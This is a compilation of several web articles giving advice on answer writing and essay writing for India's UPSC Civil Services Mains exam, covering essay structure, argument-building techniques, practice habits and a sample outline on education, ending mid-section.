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How to Improve Writing Skills for UPSC CSE Mains Exam?

Last updated on April 16, 2024 by ClearIAS Team

In this article below we have provided important tips regarding How to Improve Writing Skills for the UPSC CSE Mains Exam.

Writing skills play an important role in the UPSC Civil Services Mains Exam.

The ability to express thoughts correctly and convincingly is important for success in this prestigious examination.

In this article, we will provide you with some practical tips to improve your writing skills to increase your chances of achieving success in the examination.

Table of Contents

Work on Fundamentals Before Starting Answer Writing Practice

Before starting working on writing skills it is important to make themselves aware of a few fundamental details. Such details will help you understand the requirements of the questions.

Without fundamentals, it is hard to satisfy the needs of the examinations. A few of such fundamentals are:

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• Familiarise yourself with the syllabus
• Go through the standard books of all the subjects including NCERTs.
• Stay updated with the current event and the best source for it is the newspaper.
• Keep revising.

Also read: How to Start Practicing Answer Writing for UPSC CSE Mains Exam?

How to Improve Writing Skills for the UPSC CSE Mains Exam?

Any candidate appearing in the UPSC CSE Mains exam or willing to appear in the mains exam in the future must inculcate a few important details in their schedule. Such details are provided below.

Understand the Exam Requirements

It is important to thoroughly familiarize with the exam’s requirements and stick to them while preparing for the examination.

Understand the structure, word limits, and evaluation criteria for each section, such as the essay, general studies papers, or optional subjects.

This knowledge will enable you to structure your writing style and content accordingly.

Analyze Previous Year Questions

It’s important to understand the pattern and style of the previous year’s questions.

Analyzing these questions provides insights into the examiners’ expectations. It helps you structure your answers effectively, ensuring relevance and clarity.

Practice Answer Writing

Regular practice of answer writing is also important for the UPSC CSE and one of the most reliable sources to begin their answer writing practice is the previous year’s paper.

Choose Previous Years’ question papers and practice writing concise answers within the given time frame. Focus on developing a suitable argument, providing relevant examples, and structuring your answers effectively.

Work on Clarity and Precision

Clear and precise writing leaves a lasting impact on the reader and in this case, on the examiner.

Avoid using difficult sentences or fancy words. Go for simplicity and clarity of expression.

Use precise and specific language to convey your ideas effectively, avoiding unnecessary verbosity.

Develop Analytical Skills

The UPSC exam demands analytical thinking and the ability to critically evaluate various perspectives.

Cultivate your analytical skills by analyzing complex situations from multiple angles, always think about their pros and cons. For that, you can use the reference of current events.

Create a Strong Introduction and Conclusion

An impactful introduction sets the tone for your essay or answer, while a well-crafted conclusion leaves a lasting impression.

Use the introduction to provide context and a clear thesis statement. The conclusion should summarize your main points and leave the reader with a thought-provoking idea or a call to action.

Read Model Answers

Refer to model answers of candidates who already have cleared the examination. Analyze their structure, language, and approach to answer writing.

Take note of how they effectively address the question, present arguments, and provide supporting examples. Incorporate these techniques into your own writing style while maintaining originality.

Time Management and Revision

Effective time management is important during this exam. Practice writing within time limits to improve speed without compromising on quality.

Always keep some time aside for revision to identify and rectify errors, improve sentence structure, and ensure overall coherence. A well-revised answer helps improve clarity and readability.

Work on Personality Development

Always keep yourself indulge in important discussions and change your perspective from a common man to a civil servant but do not fall into the trap of irrelevant discussions.

When it comes to the UPSC CSE, it’s not just about having theoretical knowledge of the subjects in the mains. They also seek candidates who can think critically, solve problems, and approach issues from an administrative standpoint.

Developing these skills requires active participation in discussions about important societal problems and national or international topics.

By indulging yourself in these discussions and seeking solutions, you can cultivate a problem-solving mindset and an administrative perspective.

Join a Model Answer Writing Program

Joining a model answer writing program can greatly benefit your preparation for the UPSC Civil Services Mains Exam.

These programs provide valuable guidance and support in favor of your writing skills.

By participating in such a program, you gain access to expert mentors who offer insights into effective answer writing techniques, proper structuring of answers, and providing relevant examples and evidence.

In case you are looking for a program where you can work on improving your answer writing, get proper evaluation and guidance, you can choose the ClearIAS model answer writing program as it is very friendly to candidates and provides valuable guidance.

Article Written By: Priti Raj

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• Improve Writing Skills For UPSC Mains Exam

How to Improve Your Writing Skills for the UPSC Mains Exam

As you are well aware the UPSC mains exam consists of nine descriptive papers. Here also, you must score the minimum required marks to get the interview call from the board. Thousands of people take the mains written exam and mostly all study similar material.

So, how do you distinguish your best answers from the rest? You need to write in a style that is good, neat, systematic, error-free, aesthetic, and one that shows your clean grasp of facts. This article will give you insights on how to improve writing skills for the UPSC mains exam and more tips on answer writing skills for the  IAS exam .

Skilful Answer Writing for UPSC Mains

The following tips will help improve your writing skills for the UPSC Mains Exam-

1. Increase your reading count

You can improve your writing by reading a lot. Sure, you have to read a lot for your IAS preparation, but the next time when you read a newspaper or magazine, do focus on the written content style also. Reading more familiarises you with good writing practices subconsciously and this will be reflected in your writing as well. So, reading more is the first step in knowing how to improve answer writing in UPSC mains exam .

2. Keep your outline consistent

The outline refers to the basic structure of your written piece, in your case, answers. You should have an introduction, body and conclusion to your piece. And they must be consistent as much as possible.

3. Do not use unnecessary jargons or technical terms. Also, avoid clichés

While writing answers in the UPSC mains, restrict the use of unnecessarily technical words and clichés. Don’t write just to fill up the word count. Remember that quality is better appreciated than quantity. The examiner will most likely be put off by a paper that comes across as written by a person trying to show off his knowledge.

4. Avoid generalizations

In any writing, generalizations are best avoided. Always give material that you can substantiate with basic facts and information.

5. Do not overdo the embellishments

You must definitely give quotes in your answer. They certainly show your erudition. But avoid giving too many quotes. Also, you can give a few metaphors and similes in your answers. But only very rarely and when you think they are absolutely essential to the point being told. Otherwise, save the embellishments for the English literature optional paper!

6. Be original

This point is self-explanatory. Don’t just reproduce what you read as it is onto the answer paper. Write in your own words. Don’t invent stuff up. But don’t curtail your creativity in writing.

7. Practice makes perfect

Nothing can be perfected or at least improved without practice. Practice answer writing for the UPSC exam as it can make the difference between winning and losing in this high-competition exam.

For 10 quick tips on answer writing , visit the linked article.

8. Make your writing error-free as much as possible

Always make sure that your answers are free from grammatical and spelling errors.

Inculcate all the above-mentioned tips in your writing practise daily and you will see yourself becoming more adept at this art. Mere knowledge is not enough to pass the IAS exam. You need to convince the examiner correcting your answer booklet that you have good knowledge and ideas to become a first-class civil servant. This is possible by writing simple yet effective answers that not only give the required information but also are a pleasure to read as well.

To know more about the topics generally asked in the exam, visit the UPSC Syllabus .

You can find more UPSC-related preparation materials and other articles with the links given in the table below:

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Essay Writing

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How to Write a Perfect and Balanced Essay

“It is my ambition to say in ten sentences what others say in a whole book.” -- Friedrich Neitzsche

Essay writing is among those areas in UPSC IAS Exam that can be your savior and improve your marks significantly if worked efficiently. However lack of practice and rudimentary approach may also reduce your marks and jeopardize your chances of selection in Civil services exam . A well-developed approach and rigorous practice can significantly enhance your score in essay paper in UPSC mains Exam . But before delving into the techniques to write a perfect essay it is very important to understand what is an essay and what are its different organs?

What is an essay?

• An Essay Writing is a focused, descriptive and analytical write up on any particular topic. But this is different in format and presentation from any other kind of write up on the same topic.
• An essay is a tight write up which has a certain theme at its core and the write up is marked by its simplicity, lucidity, flow and orderliness.
• It should generally avoid terse and unwieldy expressions, unnecessary exposition and excessive facts, especially numbers.
• An essay is a write up that evolves from childhood to youth and thereafter to maturity.
• An essay should generally reflect the perceptions, understanding, and stance/take of the writer, which may be supported by facts, quotes and findings of similar kinds.

Let's have a look on Vikram Grewal's Copy

For full copy click here

What an essay writing should not be....

• It should not be a mere compilation of information or facts.
• It should not be a long note.
• It should not be a brief note.
• It should not be a theoretical exposition.
• It should not be a conglomeration of great ideas by great people.

What constitutes a good essay?

A good essay should have three distinct parts-

• Introduction
• Description

A good essay should be close to its subject or theme throughout the write up.

Essay Writing Strategy by Vikram Grewal (AIR 51, CSE 2018), A must watch session for more clarity.

A good essay should reflect...

• Understanding of the writer
• Thoroughness of the writer
• Analytical capacity of the writer
• Research and analytical capability of the writer
• Reading habits of the writer

For Example:

Vikram Grewal's Copy, all the following things are considered by him:

Click Here for Full Copy

Essay needs a higher level of communication abilities viz..

• Articulation
• Effective expression
• Logic, flow and rhythm
• Right grammar

Brief for practicing essay writing – pre exam hall approach.

How to write a good Essay can be viewed sequentially, as if going through ten sequential steps in an essay writing process.

• Research : Begin the essay writing process by researching your topic, making yourself an expert.Assuming you've been given a topic, or have narrowed it sufficiently down, your first task is to research this topic. You will not be able to write intelligently about a topic you know nothing about. To discover worthwhile insights, you'll have to do some patient reading and information gathering. Though IAS aspirants are hard pressed of time but don’t forget it is of 250 marks and highly neglected. It can be done through integration of your daily newspaper reading and through preparation of GS also. But you need some different strategy to do so.
• Analysis : Now that you have a good knowledge base, start analyzing the arguments of the essays/articles you're reading. Clearly define the claims, write out the reasons, the evidence, etc. Look for weaknesses of logic, and also strengths. Learning how to write an essay begins by learning how to analyze essays written by others.

In case of analysis Vikram Grewal shows it perfectly: Here is a look

For Full Copy Click Here

3 .Brainstorming : Your essay will require insight of your own. Ask yourself a dozen questions and answer them. Meditate with a pen in your hand. Think and think until you come up with original insights to write about.

• Thesis: Pick your best idea and pin it down in a clear assertion that you can write your entire essay around. Your thesis is your main point, summed up in a concise sentence that lets the reader know where you're going, and why. It's practically impossible to write a good essay without a clear thesis.
• Outline: Sketch out your essay before straight away writing it out. Use one-line sentences to describe paragraphs, and bullet points to describe what each paragraph will contain. Play with the essay's order. Map out the structure of your argument, and make sure each paragraph is unified.
• Introduction: Now sit down and write the essay. The introduction should grab the reader's attention, set up the issue, and lead in to your thesis. Your intro is merely a buildup of the issue, a stage of bringing your reader into the essay's argument.(Note: The title and first paragraph are probably the most important elements in your essay. This is an essay-writing point that doesn't always sink in within the context of the classroom. In the first paragraph you either hook the reader's interest or lose it.)
• Paragraphs: Each individual paragraph should be focused on a single idea that supports your thesis. Begin paragraphs with topic sentences, support assertions with evidence, and expound your ideas in the clearest, most sensible way you can. Speak to your reader as if he or she were sitting in front of you. In other words, instead of writing the essay, try talking the essay.
• Conclusion: Gracefully exit your essay by making a quick wrap-up sentence, and then end on some memorable thought, perhaps a quotation, or an interesting twist of logic, or some call to action. Is there something you want the reader to walk away and do? Let him or her know exactly that.
• Style: Format your essay according to the correct guidelines for citation. All borrowed ideas and quotations should be correctly cited in the body of your text, followed up with a Works Cited (references) page listing the details of your sources.
• Language: You're not done writing your essay until you've polished your language by correcting the grammar, making sentences flow, incorporating rhythm, emphasis, adjusting the formality, giving it a level-headed tone, and making other intuitive edits. Proof read until it reads just how you want it to sound. Writing an essay can be tedious, but you don't want to bungle the hours of conceptual work you've put into writing your essay by leaving a few slippy misspellings and poorly worded phrases.

Steps to be followed during examination:

We must keep in mind that an essay writting in the examination hall is developed on the spot within a given time period, is something different from an essay written leisurely and with mature deliberation for a publication or for a prize competition.

A Candidate writing an essay for Civil Service Examination should keep in mind that he has to satisfy the examiner with regard to 3 things:

• He has good ideas on given subject / chosen field.
• He can arrange his ideas systematically.
• He can express, and analyze his opinion correctly using good language.

Required Steps to create a rough sketch before actual writing :

• Selection of suitable topic
• Make an outline of your ideas
• Write introduction points
• Write main points of the body
• Brief sketch about view, history, facts, illustrations, examples etc
• Idea about critical discussions, pro and opposite views
• Drawing a conclusion that clearly expresses your opinion and always end with a futuristic note

Selection of topic is the key for scoring in essay writing . Around 15 to 20 minutes can be spent on choosing best topic. we also needs to be sure about the flow of thought, rich facts and figures, history, analytical expression and all to be collectively rated high in the selected topic. It impacts your marks. Out of six topics consider each one independently in-depth your knowledge and presentation skills not in bird-eye-view manner.

Patience and perseverance must be maintained while selecting a topic and make it sure about excellence to present cogently.

Next step is outlining the selected topic by putting ideas in a separate page, in organized form by writing sub topics and important points to be covered in the essay. For this one can make use flow chart model or line chart or tabulation. Grouping of thoughts must in a way to categories the sub headings while writing the detailed essay. We can use 15 to 20 minutes for this task.

Then start with the introduction which can be a dialogue, quotation or anecdotes produces complete idea to the reader about the essay. A dialogue could be simply the pertinent fact that explicitly illustrates the point you are planning to make. An anecdote is stories that illustrate the point. Be sure your anecdote is short, precise and relevant to the topic.

Three  problems that candidates face while writing an essay. They are:  

• Coherent arrangement
• Expression Ideas

Essay Copy: Vikram Grewal(AIR 51, CSE 2018)

About the subject is nothing but knowledge that needs to be looked in different perspective, whether social, economical, political, religious, cultural, literary, national, and environmental. Candidate should think on different questions

• What are definition / scope / history of the topic?
• What can be said on particular subject from various perspectives?
• What are positives / negatives?
• Answers for different questions/dimensions
• your thought for critical appraisal

Arrangement :

Arrangement of an essay means the contents with a definite structure to be framed. The structure must be exposed indirectly through the flow of writing with interlinking of sub topics and paragraphs explaining the scope meaning, description and discussion.

Illustration and quotations known can be presented lively aptly to increase the richness of the content. It is like the flavor added to the dishes to attract the reader to be perfectly relevant to the topic/ argument.  If the Quotations exceed unnecessarily, it will disturb the quality of presentation. Interlinking of thoughts, comparison and contrasting viewpoints can be expressed only with the special reference to the application of thoughts.

Opinions and arguments with strong self explanatory sentences will reflect the candidates’ solid and clear understanding of the subjects.

Now you need to give the powerful and logical conclusion which is the consequence of everything discussed earlier. Conclusion brings the reader closure or summing up of points and also gives final perspective. It should not be rhetoric outburst. It must be balanced and free from prejudice. Mind it, give proper space to the conclusion. Don’t sump in haste.

Do s and Don’ts for that ‘killer’ 3 Hrs:

• Read the title, understand the meaning and scope.
• Think and comprehensive planning before start.
• Effective, brief and strong words consist of good thoughts makes your essay best.
• Avoid vague generalization, slang’s and colloquialism
• Don’t try to present whatever you know on the subject.
• In controversial topic discuss pros and cons dispassionately and give effective conclusion.
• Length of essay is not fixed. But don’t be exhaustive. This time you may to write multiple essay
• Never forget to read and revise the essay written before submission to examiner.

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UPSC Essays Simplified: What goes in the body? – the fifth step

Most of your marks in your upsc essays depend on the quality of the body of your essay. how to use the techniques of l.e.d and 4 blocks of body building to enrich this most important segment let's learn..

UPSC Mains 2024 season has begun. One of the most popular questions in the aspirants’ minds for the mains preparation is:  How to write essays for UPSC Civil Services Exams?  We have an answer for you in the form of our new series.

In UPSC Essentials’ special series  UPSC Essays Simplified , we take you through various steps of writing a good essay. While there is no set formula or fixed criteria prescribed,  Manas Srivastava  talks to  Ravi Kapoor , our expert, in this new series who guides the aspirants with a simplified framework on how to write a good essay. Don’t miss  ‘The Essay Exercise’  towards the end of the article.

Ravi Kapoor focuses on the following steps of pre-writing and writing stages which will help aspirants to write a ‘good essay’.

Today, we will focus on Step 5, the second stage of writing stage for UPSC Essays. 

About our Expert:   Ravi Kapoor Ex-IRS , has now ditched his coveted rank of deputy commissioner and has offered free quality mentorship to UPSC aspirants, drawing upon his ten years of experience to create customised and productive curriculum. Through a free mentorship programme, he integrates tailored educational materials, psychological principles, visual learning techniques, and a strong emphasis on mental well-being into his teaching skills granting aspirants a chance to learn from his expertise.

How should the body of the Essay be written?

While rating your answer sheets, the examiner will pay special attention to the Body of your Essay and check if your arguments are presented in an organized or haphazard manner. Does the essay move from one argument to the next logically or erratically? Do you use hyperbole and emotional appeal or rely on authentic and credible data sources?

The body of your essay is the main part of the essay where all your points, arguments, and examples are presented. It typically consists of about 70% of your Essay. Consequently, most of your score will depend on the quality of this segment of your essay.

The traditional advice on building the body of the essay is to :

• Identify the problem as deduced from the topic of the essay

• Elaborate on the problem

• Suggest solutions to the problems

But this is primitive, over-simplistic and does not guarantee the unshakeable logical foundation in an Essay that you need to impress the UPSC examiner.

What should the body of the Essay ideally be like?

•The contents of the body of your Essay must try to convince the examiner of your opinions by arguing logically with supporting facts, examples and evidence. Do not make exaggerated claims or hyperbole which cannot be substantiated with credible data.

•Avoid using emotive language or appealing to the sympathy of the examiner. There is a difference between persuasive and argumentative essays. The UPSC asks you to write essays on topics which are analytical and argumentative which do not require arousing emotions in the reader.

•Using generalizations and stereotypes is not advisable because it goes against the canons of objective and rational thinking. Just because something is the case most of the time, does not mean it is the case all the time. Not to mention that many stereotypes are patently wrong.

•Remember that there are always two sides to a story, so a good essay must anticipate and address arguments on both sides in the body of the Essay.

•The body of the essay should put the structure of your Essay-answer on full display in such a manner that the examiner should find your essay-answer easy to read. Your arguments should be neatly arranged and factually compelling. Get the examiner to nod in acknowledgment while they read along.

•The body of the essay should reflect that you have considered all dimensions of the issue and arrived at a well-reasoned and balanced judgement in your conclusion.

•The content of the Body of your answer-essay should be about the Relationship between the core concepts (refer to step 1 on deconstruction ) which you know, is the heart of the topic.

How to compose solid arguments in the body of the Essay?

Let’s learn about L.E.D Technique and Bodybuilding technique.

The L.E.D Technique

Use LED and know that arguments are different from opinions or conflicts. Arguments in the Essay for the UPSC exam are not conflicts. Instead, they are pictures of reality which you paint with your words for your reader. They serve to impress, compel, reason, convince and illuminate your reader to see your point of view. Arguments are not about winning or losing. They are about learning something you didn’t know but probably should have known.

To do this well, you must give them reasons to believe you. Do that by substantiating every assertion or opinion in your Essay of the UPSC exam with an L.E.D (Logic, Examples, Data) . Leave no statement unaccompanied by support from one or more of these. A statement without LED is nothing but an empty opinion. A statement with LED is a compelling argument

How to use the ‘Bodybuilding’ technique to build the body of your Essay?

Bodybuilding for Essays is the narrative which you use to state your stand on the Essay topic. It is a sequence of arguments, building on top of each other and leading up to your conclusion.

4-Blocks of Bodybuilding

The body of the Essay can be divided into 4 blocks or steps which are interconnected with each other via a narrative. A narrative is the arc of a story. In this case, the narrative is the flow of your arguments about a certain topic.

The 4 blocks correspond to the 4-type of argument blocks to make in the body of your essay-answer. These are:

• Good Things
• Indian Things
• Should Things

• Each of the 4 blocks can contain 2-4 arguments each.
• There may be more than one paragraph in each block.
• The word count for one block is roughly 200 words.
• Stringed together in sequence, they form the body of your Essay comprising about 800 words.
• For a 1000-word essay, this conveniently leaves about 100 words each, for the Introduction and the Conclusion.

So what exactly are the 4 Blocks of Body Building? 

• The body of your Essay can start by citing the negative issues or problems which appear in the Essay topic. Here, you are building up a sense of urgency . The first step is defining the problem and appreciating its full importance . Your job is to argue that a serious problem exists and elaborate upon it.
• The second block of your argument can speak of the positive things in the issue. Your task is to argue that there is another side to the story and elucidate the opposing view. Here, you talk about the positivity that will result when the stated problem is solved, which means that you are focussing on why the problem is important .
• The Third block is the Indian perspective where you can mention why the Essay topic is important for India. It can be omitted if the Essay topic mentions India explicitly.
• The fourth block is about suggesting solutions to the problems mentioned in the 3 blocks above where you mention any specific importance of solving that problem and end by suggesting concrete steps to solve it.

Stringing these 4 blocks together will get you the body of your Essay.

Why are these particular blocks chosen and why in this sequence?

• 4-step Bodybuilding is building the body of your essay-answer to fetch maximum marks.

• The progression of the narrative, from negative to positive in the Essay is not a fixed rule. You can choose to do it another way. However, I have noticed that using this narrational sequence produces a powerful impact on the examiner.

• The above-mentioned factor is merely a simplification to help you easily remember the type and sequence of the narrative to be used. You will see how 4 step Bodybuilding can be tailored for use in virtually any essay topic with great efficacy.

• Each of the 4 blocks will force you to think about a different dimension of the Essay topic which will ensure that your essay contains a broad and mature perspective.

• This method uses the points and ideas that you have already generated using Structured Brainstorming.

• It will ensure structure and flow as you move from one block to the next making it an easy read for the examiner.

• It will force you to remain logically consistent because these blocks are themselves logically inter-connected . All you have to do is to fill in the relevant information about the Essay topic, using the ideas and points from structured brainstorming.

Recap of the previous steps

To recap the various methods and steps you have learned so far , go through the following list of steps in a solved example.

Solved Example: “Technology cannot replace manpower”

Step 1 : Deconstruct the Essay topic. You know that Thing 1 is Technology and Thing 2 is Manpower . (CLICK HERE)

Step 2 : Do Structured Brainstorming and List 15 words which come to your mind when you think about Technology AND Manpower. Use 12 Question Clues. (CLICK HERE)

Step 3 : Do Rough work, and decide on the Structure and Flow of your essay. (CLICK HERE) 

Step 4 : Create an impactful introduction using 4Q2 technique. (CLICK HERE) 

Step 5 : Initiate 4 Step Bodybuilding:

Sub-step 1 : Bad Things

Sub-step 2 : Good Things

Sub-step 3 : Indian Things

Sub-step 4 : Should Things

The Essay Exercise

• In some essay topics, the emphasis on ‘Indian Things’ may not be applied and it should be considered skippable.
• You can use a different narrative or structure in your essay. The above is a good framework to begin with until you reach a nuanced level of writing.

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Manas Srivastava is currently working as Deputy Copy Editor with The Indian Express (digital) and majorly writes for UPSC-related projects leading a unique initiative known as UPSC Essentials. In the past, Manas has represented India at the G-20 Youth Summit in Mexico. He is a former member of the Youth Council, GOI. A two-time topper/gold medallist in History (both in graduation and post-graduation) from Delhi University, he has mentored and taught UPSC aspirants for more than four years. His diverse role in The Indian Express consists of writing, editing, anchoring/ hosting, interviewing experts, and curating and simplifying news for the benefit of students. He hosts the YouTube talk show called ‘Art and Culture with Devdutt Pattanaik’ and a LIVE series on Instagram and YouTube called ‘You Ask We Answer’.His talks on ‘How to read a newspaper’ focus on newspaper reading as an essential habit for students. His articles and videos aim at finding solutions to the general queries of students and hence he believes in being students' editor, preparing them not just for any exam but helping them to become informed citizens. This is where he makes his teaching profession meet journalism. He is also currently working on a monthly magazine for UPSC Aspirants. He is a recipient of the Dip Chand Memorial Award, the Lala Ram Mohan Prize and Prof. Papiya Ghosh Memorial Prize for academic excellence. He was also awarded the University’s Post-Graduate Scholarship for pursuing M.A. in History where he chose to specialise in Ancient India due to his keen interest in Archaeology. He has also successfully completed a Certificate course on Women’s Studies by the Women’s Studies Development Centre, DU. As a part of N.S.S in the past, Manas has worked with national and international organisations and has shown keen interest and active participation in Social Service. He has led and been a part of projects involving areas such as gender sensitisation, persons with disability, helping slum dwellers, environment, adopting our heritage programme. He has also presented a case study on ‘Psychological stress among students’ at ICSQCC- Sri Lanka. As a compere for seminars and other events he likes to keep his orating hobby alive. His interests also lie in International Relations, Governance, Social issues, Essays and poetry. ... Read More

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How to Write a Good Essay in UPSC Mains

The Union Public Service Commission (UPSC) Civil Services Examination is one of the most challenging and competitive exams in India. The Mains examination is the second stage of the exam, and it consists of a descriptive type paper that tests the candidate's writing skills . The essay paper is one of the most important components of the Mains examination, and it carries a significant weightage in the overall evaluation.

Writing a good essay in the UPSC Mains examination is a critical skill that can significantly impact your overall score. The Essay Paper (Paper I) is worth 250 marks, and a well-crafted essay can make a substantial difference in your final rank .

Understanding the UPSC Essay Paper

• The UPSC Essay Paper consists of two sections, each containing four topics . Candidates must choose one topic from each section and write two essays, each ranging between 1000 to 1200 words. The topics cover a broad spectrum, including philosophical, socio-economic, political, and cultural issues.

Importance of the Essay Paper

• High Scoring Potential : The essay paper offers a significant opportunity to score high marks if written effectively.
• Reflects Analytical Ability : It tests your ability to think critically and present your thoughts coherently.
• Influences Overall Rank : A well-written essay can significantly boost your overall score, affecting your rank and service allocation.

Steps to Write a Good Essay

• Understanding the Topic

Before you start writing, ensure you thoroughly understand the topic. Misinterpreting the topic can lead to irrelevant content, costing you valuable marks.

• Analyze the Keywords: Break down the topic into its key components.
• Identify the Scope: Determine what aspects of the topic need to be addressed.
• Brainstorm : Jot down all possible ideas, arguments, and perspectives related to the topic.
• Structuring the Essay

A well-structured essay is easier to read and understand. It should have a clear beginning, middle, and end.

• Introduction : Introduce the topic, provide background information, and state your thesis or main argument.
• Body : Develop your arguments, present evidence, and explore different perspectives. Organize the body into paragraphs, each focusing on a single idea.
• Conclusion : Summarize the main points, restate your thesis in light of the arguments presented, and provide a closing thought or call to action.
• Writing the Introduction

The introduction sets the tone for your essay. It should be engaging and provide a clear direction for the reader.

• Hook : Start with an interesting fact, quote, anecdote, or question to grab the reader's attention.
• Background Information : Provide context to help the reader understand the topic better.
• Thesis Statement : Clearly state your main argument or the central idea of your essay.
• Developing the Body

The body is where you present your arguments and evidence. Each paragraph should focus on a single point and be logically connected to the next.

• Topic Sentence : Start each paragraph with a topic sentence that introduces the main idea.
• Evidence and Examples : Support your arguments with facts, statistics, examples, and quotes from credible sources.
• Analysis : Explain how the evidence supports your argument and relate it back to the thesis.
• Transition : Use transitional phrases to ensure a smooth flow between paragraphs.
• Crafting the Conclusion

The conclusion should bring closure to your essay while reinforcing your main points.

• Restate the Thesis : Reiterate your thesis in light of the arguments you have made.
• Summarize Key Points : Briefly summarize the main points discussed in the body.
• Closing Thought: End with a thought-provoking statement, a call to action, or a forward-looking perspective.
• Maintaining Clarity and Coherence

A good essay is clear and coherent, making it easy for the reader to follow your arguments.

• Simple Language: Use simple and precise language to convey your ideas.
• Logical Flow: Ensure your ideas are logically connected and build upon each other.
• Avoid Jargon: Avoid using jargon or overly complex vocabulary that might confuse the reader.
• Consistent Tone: Maintain a consistent tone throughout the essay, whether formal or informal.
• Revising and Proofreading

Revising and proofreading are crucial steps in the writing process. They help you refine your essay and eliminate errors.

• Check for Clarity: Ensure your arguments are clear and well-articulated.
• Grammar and Spelling: Correct any grammatical, spelling, or punctuation errors.
• Consistency: Ensure consistency in formatting, tense, and tone.
• Feedback: If possible, get feedback from peers or mentors and incorporate their suggestions.

Practical Tips for Writing a Good Essay

• Practice Regularly

Regular practice is key to improving your essay writing skills. Write essays on various topics to build your confidence and proficiency.

• Timed Practice: Practice writing essays within the stipulated time to simulate exam conditions.
• Diverse Topics : Write on a range of topics, including abstract, philosophical, socio-economic, and current affairs.
• Read Widely

Reading extensively enhances your knowledge base and exposes you to different writing styles.

• Newspapers and Magazines: Regularly read newspapers like The Hindu, Indian Express, and magazines like Yojana and Kurukshetra.
• Books and Journals: Read books and journals on diverse subjects to deepen your understanding and gain new perspectives.
• Develop Analytical Skills

Good essays are characterized by strong analytical and critical thinking skills.

• Critical Thinking: Analyze issues from multiple perspectives and develop well-reasoned arguments.
• Debate and Discussion: Engage in debates and discussions to sharpen your analytical skills and articulate your thoughts better.
• Enhance Writing Skills

Improving your writing skills is essential for crafting compelling essays.

• Writing Workshops: Attend writing workshops or take online courses to improve your writing skills.
• Peer Review: Exchange essays with peers for constructive feedback and suggestions.
• Writing Prompts: Use writing prompts to stimulate your creativity and practice different writing styles.
• Stay Updated

Staying updated with current affairs is crucial for writing relevant and informed essays.

• Current Affairs Notes: Maintain notes on important current affairs topics, categorizing them by themes.
• Analysis and Opinion: Read analysis and opinion pieces to understand various viewpoints and form your own informed opinions.

Common Mistakes to Avoid

• Deviating from the Topic
• Stick to the topic and avoid going off on tangents. Ensure all your arguments are relevant to the central theme of the essay.
• Lack of Structure
• An essay without a clear structure is difficult to follow. Always plan your essay and stick to the structure of introduction, body, and conclusion.
• Overloading with Information
• While it's important to provide evidence, avoid overloading your essay with too much information. Focus on key points and explain them thoroughly.
• Using Complex Vocabulary
• Using complex vocabulary can make your essay difficult to read. Prioritize clarity and simplicity in your language.
• Ignoring Grammar and Spelling
• Grammar and spelling mistakes can undermine the quality of your essay. Always proofread your work to eliminate errors.

Sample Essay Outline

Topic: "The Role of Education in Shaping India's Future"

Introduction

• Hook : Quote by Nelson Mandela: "Education is the most powerful weapon which you can use to change the world."
• Background Information : Brief overview of the current education system in India.
• Thesis Statement: Education is pivotal in shaping India's future by driving economic growth, fostering social equity, and promoting democratic values.

Paragraph 1: Economic Growth

• Topic Sentence: Education drives economic growth and development.
• Evidence: Statistics on the correlation between literacy rates and GDP growth.
• Analysis: How a skilled and educated workforce contributes to productivity and innovation.

Paragraph 2: Social Equity

• Topic Sentence: Education promotes social equity and reduces disparities.
• Evidence : Case studies of successful education initiatives in rural and marginalized communities.
• Analysis: The role of education in breaking the cycle of poverty and empowering individuals.

Paragraph 3: Democratic Values

• Topic Sentence : Education fosters democratic values and civic responsibility.
• Evidence : Examples of education curricula promoting critical thinking and civic awareness.
• Analysis: The impact of an educated populace on democratic participation and governance.
• Restate Thesis : Reaffirm the importance of education in shaping India's future.
• Summarize Key Points : Recap the main arguments presented in the body.
• Closing Thought : Emphasize the need for continued investment and reform in the education sector to achieve a prosperous and equitable India.

Writing a good essay for the UPSC Mains requires careful planning, structured writing, and thorough revision. By understanding the topic, structuring your essay effectively, and maintaining clarity and coherence , you can craft compelling essays that stand out. Regular practice, wide reading, and staying updated with current affairs are essential for developing strong essay writing skills. Avoid common mistakes and strive for simplicity and precision in your writing. With these strategies and tips, you can enhance your essay writing abilities and boost your chances of success in the UPSC Mains examination.

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How to Write a Good Essay for UPSC? A Guide to Improve Your Writing Skills

An essay is a short piece of writing on a particular subject, usually in prose and generally analytic, speculative or interpretative that gives the author’s own argument. These are written composition about anything.

It takes discipline, foresight, research, strategy and if done right, ends in total victory. In terms of ‘writing’ you need to create a handful of original sentences for the entire content; a thesis, a theme, a mini-thesis that begins each paragraph and a concluding sentence that says all.

How to Write an Essay for UPSC?

Writing an essay often seems a dreaded task among students. The idea behind is to make it easier for the reader to navigate the ideas put forth in a content.

For all those who are confused about how to write an essay for UPSC, here is the detailed guide on what you must write in every essay:

Introduction is an Important Part of Essay Writing in UPSC

The introductory paragraph should have an attention-grabbing hook. It should describe your content topic/ question. One can also include good proverb related to the topic of the content. This should not be more than one paragraph.

Body paragraph supports your introductory paragraph and must include all supporting details. It is advisable to support your explanations on the topic with good examples/ facts/ Govt schemes/ data/ statistics/ proverbs. This can be more than one paragraph until you reach your word limit.

No matter on which UPSC essay writing topic you are working on, conclusion plays a significant role. The conclusion should rephrase the main topic and subtopics and should carry a call to action. A concluding proverb will always be a good way to end a content. It will be good to not conclude the writing by providing your personal opinion on the topic unless specified in the question. This should not be more than one paragraph.

Also Read: Pressure Groups in India: Everything you Need to Know

Tips to Score Better on UPSC Essay Writing Topics

With a little planning and a lot of hard work, you can write an essay for UPSC that’s good enough in a short time. Following pointers will help you to develop a writing framework:

Essay Question

Selecting a UPSC essay writing topic is the most important and critical task. Choose a topic for which you have knowledge of enough content, examples, facts, data and proverbs. Once the right topic is chosen your half work is accomplished.

Develop a Plan

Planning helps to figure out how long to spend on each part of the text and will keep you on task. Develop a thesis- the main idea of your essay. It should be precise and short.

Jotting Down Pointers

These can include examples for your topic, important facts that support your reasons, data/statistics, proverbs. These pointers will help you develop your content in a better way.

Write Outline

The outline will guide you through the writing process of the content. Structure it in the same form as your text. This helps in identifying the areas that need better development.

Revision of your outline is as important as a revision of your writing. The revision will help you to analyse any errors/ spelling mistakes etc thus ensuring a better essay writing for UPSC.

Tips to Make Your Writing Suitable as per UPSC Essay Syllabus

Read other essays.

Reading other people’s writings will help in building your own style for essay writing in the UPSC exam. Read contents on a wide range of subjects, different genres of fiction and nonfiction but try to keep the focus on the UPSC essay syllabus. The wider you read, more possible techniques will be available to pick up and use in essays of your own. Another good source is reading newspapers, specifically editorials!

Build Vocabulary and Use it Properly

